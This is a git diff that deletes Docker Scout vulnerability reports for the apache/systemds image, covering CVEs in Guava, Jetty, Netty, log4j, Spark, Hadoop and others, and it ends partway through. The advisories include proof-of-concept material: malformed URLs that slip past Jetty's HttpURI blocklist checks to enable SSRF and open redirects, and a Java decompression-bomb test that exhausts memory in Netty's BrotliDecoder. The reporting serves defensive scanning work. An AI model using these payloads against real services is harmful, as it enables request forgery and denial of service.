EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) - -pkg:maven/org.apache.commons/commons-lang3@3.12.0
-medium 6.5: CVE--2025--48924 Uncontrolled Recursion - - - - - - - - -
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- -Uncontrolled Recursion vulnerability in Apache Commons Lang. - -This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. - -The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. - -Users are recommended to upgrade to version 3.18.0, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) - -pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
-medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch - - - - - - - - -
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.112%
EPSS Percentile30th percentile
- -
Description -
- -The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. - -This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: - - * The attacker is able to intercept or redirect network traffic between the client and the log receiver. - * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). - - -Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. - -As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.124.Final (maven) - -pkg:maven/io.netty/netty-codec@4.1.124.Final
-medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) - - - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
- -
Description -
- -### Summary - -With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. - -### Details - -`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. - -Tested on 4.1.118, but there were no changes to the decoder since. - -### PoC - -Run this test case with `-Xmx1G`: - -```java -import io.netty.buffer.Unpooled; -import io.netty.channel.embedded.EmbeddedChannel; - -import java.util.Base64; - -public class T { - public static void main(String[] args) { - EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); - channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); - } -} -``` - -Error: - -``` -Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) - at java.base/java.nio.Bits.reserveMemory(Bits.java:178) - at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) - at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) - at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) - at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) - at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) - at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) - at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) - at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) - at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) - at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) - at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) - at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) - at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) - at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) - at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) - at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) - at io.netty.handler.codec.compression.T.main(T.java:11) -``` - -### Impact - -DoS for anyone using `BrotliDecoder` on untrusted input. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.57.v20241219 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.57.v20241219
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) - -pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
-medium : CVE--2026--22184 - - - - - - -
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.109%
EPSS Percentile30th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
-medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
- -
Description -
- -Description -There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. - - -Vulnerability details -The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. - - -Impact -Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. - - -Patches -The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. - - -Patched releases: - - * 9.4.54 - * 10.0.18 - * 11.0.18 - * 12.0.3 - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) - -pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
-medium 4.6: CVE--2025--55039 Inadequate Encryption Strength - - - - - - - - -
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
- -
Description -
- -This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. - -Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. - -When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. - -This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. - -To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) - -pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
-low 2.0: CVE--2024--23454 Improper Privilege Management - - - - - - - - -
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- -Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) - -pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
-unspecified : CVE--2025--62813 - - - - - - -
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
-
- - -What's next: - View base image update recommendations → docker scout recommendations apache/systemds:latest - diff --git a/docker/scout_results/zookeeper/sysds_output1.md b/docker/scout_results/zookeeper/sysds_output1.md deleted file mode 100644 index 5459e985d51..00000000000 --- a/docker/scout_results/zookeeper/sysds_output1.md +++ /dev/null @@ -1,2831 +0,0 @@ -

:mag: Vulnerabilities of apache/systemds:latest

- -
:package: Image Reference apache/systemds:latest - - - - - -
digestsha256:d7762d7f8aa54d32e71d209c10ec84ebfc3d9721366ed576662afa24c6ac2bbe
vulnerabilitiescritical: 4 high: 29 medium: 36 low: 9 unspecified: 1
platformlinux/amd64
size362 MB
packages350
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) - -pkg:maven/io.netty/netty@3.10.6.Final
-critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." - -
-
- -high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. - -This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. - -### Impact - -All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. - -### References -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 - -
-
- -high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
- -
Description -
- -### Impact -The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). - - -All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack - -### Workarounds -No workarounds other than not using the `Bzip2Decoder` - -### References - -Relevant code areas: - -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 - -
-
- -medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.418%
EPSS Percentile61st percentile
- -
Description -
- -### Impact - -Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. - -Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. - - - -
-
- -medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.026%
EPSS Percentile6th percentile
- -
Description -
- -### Impact - -When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. - -The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) - -### Vulnerability Details - -On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. - -The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. - -This is the case in netty's `AbstractDiskHttpData` is vulnerable. - -https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 - -`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. - -You may be affected by this vulnerability your project contains the following code patterns: - -```java -channelPipeline.addLast(new HttpPostRequestDecoder(...)); -``` - -```java -channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); -``` - -### Patches - -This has been patched in version `4.1.59.Final`. - -### Workarounds - -Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. - -### References - - - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) - - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) - -### Similar Vulnerabilities - -Similar, but not the same. - - - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp - - Google Guava - https://github.com/google/guava/issues/4011 - - Apache Ant - 